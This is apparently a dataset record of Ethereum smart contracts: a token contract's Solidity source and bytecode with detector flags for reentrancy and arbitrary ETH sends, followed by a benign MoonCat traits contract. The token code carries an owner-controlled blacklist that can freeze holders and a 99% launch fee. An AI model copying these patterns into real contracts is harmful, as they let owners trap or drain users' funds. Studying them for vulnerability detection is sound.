if (openBlock + 5 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103af578063dd62ed3e146103c4578063e98391ff1461040a578063ec28438a1461042a578063f42938901461044a578063ffecf5161461045f57600080fd5b80638da5cb5b146102d457806395d89b41146102fc5780639a5904271461032f5780639b19251a1461034f578063a9059cbb1461036f578063bf6642e71461038f57600080fd5b806327a14fc21161010857806327a14fc21461022e578063313ce5671461024e57806351bc3c851461026a5780635932ead11461027f57806370a082311461029f578063715018a6146102bf57600080fd5b806306fdde0314610150578063095ea7b31461019557806318160ddd146101c557806323b872dd146101ec578063273123b71461020c57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600a81526954727573744e6f4f6e6560b01b60208201525b60405161018c9190611ac9565b60405180910390f35b3480156101a157600080fd5b506101b56101b0366004611a21565b61047f565b604051901515815260200161018c565b3480156101d157600080fd5b5069152d02c7e14af68000005b60405190815260200161018c565b3480156101f857600080fd5b506101b56102073660046119e1565b610496565b34801561021857600080fd5b5061022c610227366004611971565b6104ff565b005b34801561023a57600080fd5b5061022c610249366004611a84565b610553565b34801561025a57600080fd5b506040516009815260200161018c565b34801561027657600080fd5b5061022c610591565b34801561028b57600080fd5b5061022c61029a366004611a4c565b6105aa565b3480156102ab57600080fd5b506101de6102ba366004611971565b6105f2565b3480156102cb57600080fd5b5061022c610614565b3480156102e057600080fd5b506000546040516001600160a01b03909116815260200161018c565b34801561030857600080fd5b5060408051808201909152600a81526954525553544e4f4f4e4560b01b602082015261017f565b34801561033b57600080fd5b5061022c61034a366004611971565b610688565b34801561035b57600080fd5b5061022c61036a366004611971565b6106d3565b34801561037b57600080fd5b506101b561038a366004611a21565b610721565b34801561039b57600080fd5b5061022c6103aa366004611a84565b61072e565b3480156103bb57600080fd5b5061022c61075d565b3480156103d057600080fd5b506101de6103df3660046119a9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041657600080fd5b5061022c610425366004611a4c565b610b37565b34801561043657600080fd5b5061022c610445366004611a84565b610b7f565b34801561045657600080fd5b5061022c610bbd565b34801561046b57600080fd5b5061022c61047a366004611971565b610bc7565b600061048c338484610c15565b5060015b92915050565b60006104a3848484610d39565b6104f584336104f085604051806060016040528060288152602001611c69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611220565b610c15565b5060019392505050565b6000546001600160a01b031633146105325760405162461bcd60e51b815260040161052990611b1c565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161052990611b1c565b61058b81633b9aca00611bf9565b600d5550565b600061059c306105f2565b90506105a78161125a565b50565b6000546001600160a01b031633146105d45760405162461bcd60e51b815260040161052990611b1c565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b038116600090815260026020526040812054610490906113ff565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161052990611b1c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b25760405162461bcd60e51b815260040161052990611b1c565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106fd5760405162461bcd60e51b815260040161052990611b1c565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600061048c338484610d39565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040161052990611b1c565b600c55565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161052990611b1c565b601354600160a01b900460ff16156107e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610529565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081f308269152d02c7e14af6800000610c15565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085857600080fd5b505afa15801561086c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610890919061198d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d857600080fd5b505afa1580156108ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610910919061198d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095857600080fd5b505af115801561096c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610990919061198d565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c0816105f2565b6000806109d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3857600080fd5b505af1158015610a4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a719190611a9c565b505060138054683635c9adc5dea00000600a55686c6b935b8bbd400000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afb57600080fd5b505af1158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b339190611a68565b5050565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260040161052990611b1c565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610ba95760405162461bcd60e51b815260040161052990611b1c565b610bb781633b9aca00611bf9565b600a5550565b476105a781611483565b6000546001600160a01b03163314610bf15760405162461bcd60e51b815260040161052990611b1c565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610529565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610529565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610529565b6001600160a01b038216610dff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610529565b60008111610e615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610529565b6001600e55600c600f556000546001600160a01b03848116911614801590610e9757506000546001600160a01b03838116911614155b8015610eac57506001600160a01b0383163014155b8015610ed157506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef657506001600160a01b03821660009081526005602052604090205460ff16155b15611205576001600160a01b03831660009081526006602052604090205460ff16158015610f3d57506001600160a01b03821660009081526006602052604090205460ff16155b610f4657600080fd5b6013546001600160a01b038481169116148015610f7157506012546001600160a01b03838116911614155b8015610f9657506001600160a01b03821660009081526005602052604090205460ff16155b8015610fab5750601354600160b81b900460ff165b156110e857600a548111156110025760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610529565b6001600160a01b038216600090815260076020526040902054421161105e5760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610529565b600d548161106b846105f2565b6110759190611bc1565b11156110c35760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610529565b6110ce42601e611bc1565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111357506012546001600160a01b03848116911614155b801561113857506001600160a01b03831660009081526005602052604090205460ff16155b15611148576001600e556009600f555b43600b5460056111589190611bc1565b1015801561117357506013546001600160a01b038481169116145b15611183576001600e556063600f555b600061118e306105f2565b600c54909150811080159081906111af5750601354600160a81b900460ff16155b80156111c957506013546001600160a01b03868116911614155b80156111de5750601354600160b01b900460ff165b156111fe576111ec8261125a565b4780156111fc576111fc47611483565b505b5050611210565b6000600e819055600f555b61121b838383611508565b505050565b600081848411156112445760405162461bcd60e51b81526004016105299190611ac9565b5060006112518486611c18565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561130457600080fd5b505afa158015611318573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133c919061198d565b8160018151811061135d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546113839130911684610c15565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bc908590600090869030904290600401611b51565b600060405180830381600087803b1580156113d657600080fd5b505af11580156113ea573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610529565b6000611470611513565b905061147c8382611536565b9392505050565b6010546001600160a01b03166108fc61149d836002611536565b6040518115909202916000818181858888f193505050501580156114c5573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114e0836002611536565b6040518115909202916000818181858888f19350505050158015610b33573d6000803e3d6000fd5b61121b838383611578565b600080600061152061166f565b909250905061152f8282611536565b9250505090565b600061147c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116b3565b60008060008060008061158a876116e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bc908761173e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115eb9086611780565b6001600160a01b03891660009081526002602052604090205561160d816117df565b6116178483611829565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165c91815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af680000061168c8282611536565b8210156116aa5750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116d45760405162461bcd60e51b81526004016105299190611ac9565b5060006112518486611bd9565b60008060008060008060008060006116fe8a600e54600f5461184d565b925092509250600061170e611513565b905060008060006117218e8787876118a2565b919e509c509a509598509396509194505050505091939550919395565b600061147c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611220565b60008061178d8385611bc1565b90508381101561147c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610529565b60006117e9611513565b905060006117f783836118f2565b306000908152600260205260409020549091506118149082611780565b30600090815260026020526040902055505050565b600854611836908361173e565b6008556009546118469082611780565b6009555050565b6000808080611867606461186189896118f2565b90611536565b9050600061187a60646118618a896118f2565b905060006118928261188c8b8661173e565b9061173e565b9992985090965090945050505050565b60008080806118b188866118f2565b905060006118bf88876118f2565b905060006118cd88886118f2565b905060006118df8261188c868661173e565b939b939a50919850919650505050505050565b60008261190157506000610490565b600061190d8385611bf9565b90508261191a8583611bd9565b1461147c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610529565b600060208284031215611982578081fd5b813561147c81611c45565b60006020828403121561199e578081fd5b815161147c81611c45565b600080604083850312156119bb578081fd5b82356119c681611c45565b915060208301356119d681611c45565b809150509250929050565b6000806000606084860312156119f5578081fd5b8335611a0081611c45565b92506020840135611a1081611c45565b929592945050506040919091013590565b60008060408385031215611a33578182fd5b8235611a3e81611c45565b946020939093013593505050565b600060208284031215611a5d578081fd5b813561147c81611c5a565b600060208284031215611a79578081fd5b815161147c81611c5a565b600060208284031215611a95578081fd5b5035919050565b600080600060608486031215611ab0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611af557858101830151858201604001528201611ad9565b81811115611b065783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ba05784516001600160a01b031683529383019391830191600101611b7b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bd457611bd4611c2f565b500190565b600082611bf457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c1357611c13611c2f565b500290565b600082821015611c2a57611c2a611c2f565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146105a757600080fd5b80151581146105a757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209544272676377b8ff757f72cb19d4ea412cfe921d7d08705a3c1bf5ca28a6d9d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,168
0x9330BbfBa0C8FdAf0D93717E4405a410a6103cC2
// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.8.1; interface IMoonCatAcclimator { function getApproved(uint256 tokenId) external view returns (address); function isApprovedForAll(address owner, address operator) external view returns (bool); function ownerOf(uint256 tokenId) external view returns (address); function balanceOf(address _owner) external view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256); } interface IMoonCatRescue { function rescueOrder(uint256 tokenId) external view returns (bytes5); function catOwners(bytes5 catId) external view returns (address); function catNames(bytes5 catId) external view returns (bytes32); } interface IReverseResolver { function claim(address owner) external returns (bytes32); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IERC721 { function safeTransferFrom(address from, address to, uint256 tokenId) external; function ownerOf(uint256 tokenId) external view returns (address); } interface IMoonCatReference { function doc (address contractAddress) external view returns (string memory name, string memory description, string memory details); function setDoc (address contractAddress, string calldata name, string calldata description) external; } /** * @title MoonCatTraits * @notice On Chain MoonCat Trait Parsing * @dev Provides On Chain Reference for the MoonCat Traits */ contract MoonCatTraits { /* Human-friendly trait names */ string[2] public facingNames = ["left", "right"]; string[4] public expressionNames = ["smiling", "grumpy", "pouting", "shy"]; string[4] public patternNames = ["pure", "tabby", "spotted", "tortie"]; string[4] public poseNames = ["standing", "sleeping", "pouncing", "stalking"]; /* External Contracts */ IMoonCatRescue MCR = IMoonCatRescue(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6); IMoonCatReference MoonCatReference; /* Traits */ /** * @dev For a given MoonCat rescue order, return the calendar year it was rescued in. */ function rescueYearOf (uint256 rescueOrder) public pure returns (uint16) { if (rescueOrder <= 3364) { return 2017; } else if (rescueOrder <= 5683) { return 2018; } else if (rescueOrder <= 5754) { return 2019; } else if (rescueOrder <= 5757) { return 2020; } else { return 2021; } } /** * @dev For a given MoonCat hex ID, extract the trait data from the "K" byte. */ function kTraitsOf (bytes5 catId) public pure returns (bool genesis, bool pale, uint8 facing, uint8 expression, uint8 pattern, uint8 pose) { uint40 c = uint40(catId); uint8 classification = uint8(c >> 32); require(classification == 0 || classification == 255, "Invalid Classification"); genesis = (classification == 255); uint8 r = uint8(c >> 16); uint8 g = uint8(c >> 8); uint8 b = uint8(c); require(!genesis || (r == 0 && g == 12 && b == 167), "Invalid Genesis Id"); pale = ((c >> 31) & 1) == 1; if (genesis) { uint8 k = uint8(c >> 24); bool even_k = k % 2 == 0; pale = (even_k && pale) || (!even_k && !pale); } facing = uint8((c >> 30) & 1); expression = uint8((c >> 28) & 3); pattern = uint8((c >> 26) & 3); pose = uint8((c >> 24) & 3); } /** * @dev For a given MoonCat rescue order, extract the trait data from the "K" byte. */ function kTraitsOf (uint256 rescueOrder) public view returns (bool genesis, bool pale, uint8 facing, uint8 expression, uint8 pattern, uint8 pose) { require(rescueOrder < 25440, "Invalid Rescue Order"); return kTraitsOf(MCR.rescueOrder(rescueOrder)); } /** * @dev For a given MoonCat hex ID, extract the trait data in a human-friendly format. */ function traitsOf (bytes5 catId) public view returns (bool genesis, bool pale, string memory facing, string memory expression, string memory pattern, string memory pose) { (bool genesisBool, bool paleBool, uint8 facingInt, uint8 expressionInt, uint8 patternInt, uint8 poseInt) = kTraitsOf(catId); return ( genesisBool, paleBool, facingNames[facingInt], expressionNames[expressionInt], patternNames[patternInt], poseNames[poseInt] ); } /** * @dev For a given MoonCat rescue order, extract the trait data in a human-friendly format. */ function traitsOf (uint256 rescueOrder) public view returns (bool genesis, bool pale, string memory facing, string memory expression, string memory pattern, string memory pose, bytes5 catId, uint16 rescueYear, bool isNamed ) { require(rescueOrder < 25440, "Invalid Rescue Order"); catId = MCR.rescueOrder(rescueOrder); (genesis, pale, facing, expression, pattern, pose) = traitsOf(catId); rescueYear = rescueYearOf(rescueOrder); isNamed = (uint256(MCR.catNames(catId)) > 0); } mapping (address => bool) ERC721ProxyOwnership; /** * @dev Iterating function to find the final owner of a MoonCat (looping through any ERC721 wrappers). */ function proxyOwner (uint256 rescueOrder, address ownerAddress) internal view returns (address) { if (ERC721ProxyOwnership[ownerAddress]) { return proxyOwner(rescueOrder, IERC721(ownerAddress).ownerOf(rescueOrder)); } else { return ownerAddress; } } /** * @dev For a given MoonCat rescue order, return who owns that MoonCat. */ function ownerOf (uint256 rescueOrder) public view returns (address) { require(rescueOrder < 25440, "Invalid Rescue Order"); bytes5 catId = MCR.rescueOrder(rescueOrder); return proxyOwner(rescueOrder, MCR.catOwners(catId)); } /** * @dev For a given MoonCat rescue order, return the hex ID of that MoonCat. */ function catIdOf (uint256 rescueOrder) public view returns (bytes5) { require(rescueOrder < 25440, "Invalid Rescue Order"); return MCR.rescueOrder(rescueOrder); } /** * @dev For a given MoonCat hex ID, return the recorded name of that MoonCat. */ function nameOf (bytes5 catId) public view returns (string memory) { bytes32 nameRaw = MCR.catNames(catId); uint8 i = 0; while(i < 32 && nameRaw[i] != 0) { i++; } bytes memory nameBytes = new bytes(i); for (i = 0; i < 32 && nameRaw[i] != 0; i++) { nameBytes[i] = nameRaw[i]; } return string(nameBytes); } /** * @dev For a given MoonCat rescue order, return the recorded name of that MoonCat. */ function nameOf (uint256 rescueOrder) public view returns (string memory) { require(rescueOrder < 25440, "Invalid Rescue Order"); return nameOf(MCR.rescueOrder(rescueOrder)); } /* General */ /** * @dev Get documentation about this contract. */ function doc() public view returns (string memory name, string memory description, string memory details) { return MoonCatReference.doc(address(this)); } constructor (address MoonCatReferenceAddress) { owner = payable(msg.sender); // https://docs.ens.domains/contract-api-reference/reverseregistrar#claim-address IReverseResolver(0x084b1c3C81545d370f3634392De611CaaBFf8148).claim(msg.sender); ERC721ProxyOwnership[0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69] = true; MoonCatReference = IMoonCatReference(MoonCatReferenceAddress); } address payable public owner; modifier onlyOwner () { require(msg.sender == owner, "Only Owner"); _; } /** * @dev Allow current `owner` to transfer ownership to another address. */ function transferOwnership (address payable newOwner) public onlyOwner { owner = newOwner; } /** * @dev Update the ERC721 registry for a given address. */ function setERC721Proxy (address proxyAddress, bool isProxy) public onlyOwner { ERC721ProxyOwnership[proxyAddress] = isProxy; } /** * @dev Update the location of the Reference Contract. */ function setReferenceContract (address referenceContract) public onlyOwner { MoonCatReference = IMoonCatReference(referenceContract); } /** * @dev Rescue ERC20 assets sent directly to this contract. */ function withdrawForeignERC20(address tokenContract) public onlyOwner { IERC20 token = IERC20(tokenContract); token.transfer(owner, token.balanceOf(address(this))); } /** * @dev Rescue ERC721 assets sent directly to this contract. */ function withdrawForeignERC721(address tokenContract, uint256 tokenId) public onlyOwner { IERC721(tokenContract).safeTransferFrom(address(this), owner, tokenId); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063b3d8f28211610071578063b3d8f282146102b2578063c97398a8146102c5578063e20d31b5146102d8578063ef043c73146102eb578063f2fde38b1461030b5761012c565b80638da5cb5b1461022d5780639244e9b51461023557806394034c7e1461025a578063a08a0bbb1461026d578063ae62b43a146102925761012c565b80635c471995116100f45780635c471995146101a85780635efab6e4146101bb5780636352211e146101e35780637a0a3ac51461020357806381cb5e931461021a5761012c565b8063024b7e7114610131578063051a2664146101465780630ce06b681461016f578063259f956c146101825780633cf8a69714610195575b600080fd5b61014461013f36600461139b565b61031e565b005b6101596101543660046114ee565b61037c565b60405161016691906116c7565b60405180910390f35b61014461017d3660046113d3565b610429565b6101596101903660046114ee565b6104bd565b6101446101a3366004611363565b61055d565b6101446101b6366004611363565b6105a9565b6101ce6101c93660046114ee565b6106d5565b604051610166999897969594939291906115ed565b6101f66101f13660046114ee565b610840565b6040516101669190611532565b61020b610977565b604051610166939291906116da565b6101596102283660046114ee565b610a0b565b6101f6610a1b565b610248610243366004611432565b610a2a565b60405161016696959493929190611583565b6101596102683660046114ee565b610d32565b61028061027b3660046114ee565b610d42565b60405161016696959493929190611680565b6102a56102a03660046114ee565b610e02565b60405161016691906117c1565b6102806102c0366004611432565b610e55565b6101596102d33660046114ee565b610f79565b6101596102e6366004611432565b610f89565b6102fe6102f93660046114ee565b61118d565b60405161016691906116b2565b610144610319366004611363565b611230565b6011546001600160a01b031633146103515760405162461bcd60e51b81526004016103489061179d565b60405180910390fd5b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6060616360821061039f5760405162461bcd60e51b815260040161034890611743565b600e54604051630869624160e31b8152610421916001600160a01b03169063434b1208906103d19086906004016117d0565b60206040518083038186803b1580156103e957600080fd5b505afa1580156103fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102e6919061144e565b90505b919050565b6011546001600160a01b031633146104535760405162461bcd60e51b81526004016103489061179d565b601154604051632142170760e11b81526001600160a01b03808516926342842e0e926104879230921690869060040161155f565b600060405180830381600087803b1580156104a157600080fd5b505af11580156104b5573d6000803e3d6000fd5b505050505050565b600a81600481106104cd57600080fd5b0180549091506104dc90611809565b80601f016020809104026020016040519081016040528092919081815260200182805461050890611809565b80156105555780601f1061052a57610100808354040283529160200191610555565b820191906000526020600020905b81548152906001019060200180831161053857829003601f168201915b505050505081565b6011546001600160a01b031633146105875760405162461bcd60e51b81526004016103489061179d565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b031633146105d35760405162461bcd60e51b81526004016103489061179d565b6011546040516370a0823160e01b815282916001600160a01b038084169263a9059cbb929091169083906370a0823190610611903090600401611532565b60206040518083038186803b15801561062957600080fd5b505afa15801561063d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610661919061141a565b6040518363ffffffff1660e01b815260040161067e929190611546565b602060405180830381600087803b15801561069857600080fd5b505af11580156106ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d091906113fe565b505050565b60008060608060608060008060006163608a106107045760405162461bcd60e51b815260040161034890611743565b600e54604051630869624160e31b81526001600160a01b039091169063434b120890610734908d906004016117d0565b60206040518083038186803b15801561074c57600080fd5b505afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610784919061144e565b925061078f83610a2a565b949d50929b509099509750955093506107a78a610e02565b600e546040516311ff2bf560e31b81529193506000916001600160a01b0390911690638ff95fa8906107dd9087906004016116b2565b60206040518083038186803b1580156107f557600080fd5b505afa158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d919061141a565b60001c1190509193959799909294969850565b600061636082106108635760405162461bcd60e51b815260040161034890611743565b600e54604051630869624160e31b81526000916001600160a01b03169063434b1208906108949086906004016117d0565b60206040518083038186803b1580156108ac57600080fd5b505afa1580156108c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e4919061144e565b600e54604051633894ca5760e01b81529192506109709185916001600160a01b031690633894ca579061091b9086906004016116b2565b60206040518083038186803b15801561093357600080fd5b505afa158015610947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096b919061137f565b61127c565b9392505050565b600f54604051630c5c275960e21b8152606091829182916001600160a01b0316906331709d64906109ac903090600401611532565b60006040518083038186803b1580156109c457600080fd5b505afa1580156109d8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a00919081019061146a565b925092509250909192565b600081600281106104cd57600080fd5b6011546001600160a01b031681565b600080606080606080600080600080600080610a458d610e55565b955095509550955095509550858560008660ff1660028110610a7757634e487b7160e01b600052603260045260246000fd5b0160028660ff1660048110610a9c57634e487b7160e01b600052603260045260246000fd5b0160068660ff1660048110610ac157634e487b7160e01b600052603260045260246000fd5b01600a8660ff1660048110610ae657634e487b7160e01b600052603260045260246000fd5b01838054610af390611809565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1f90611809565b8015610b6c5780601f10610b4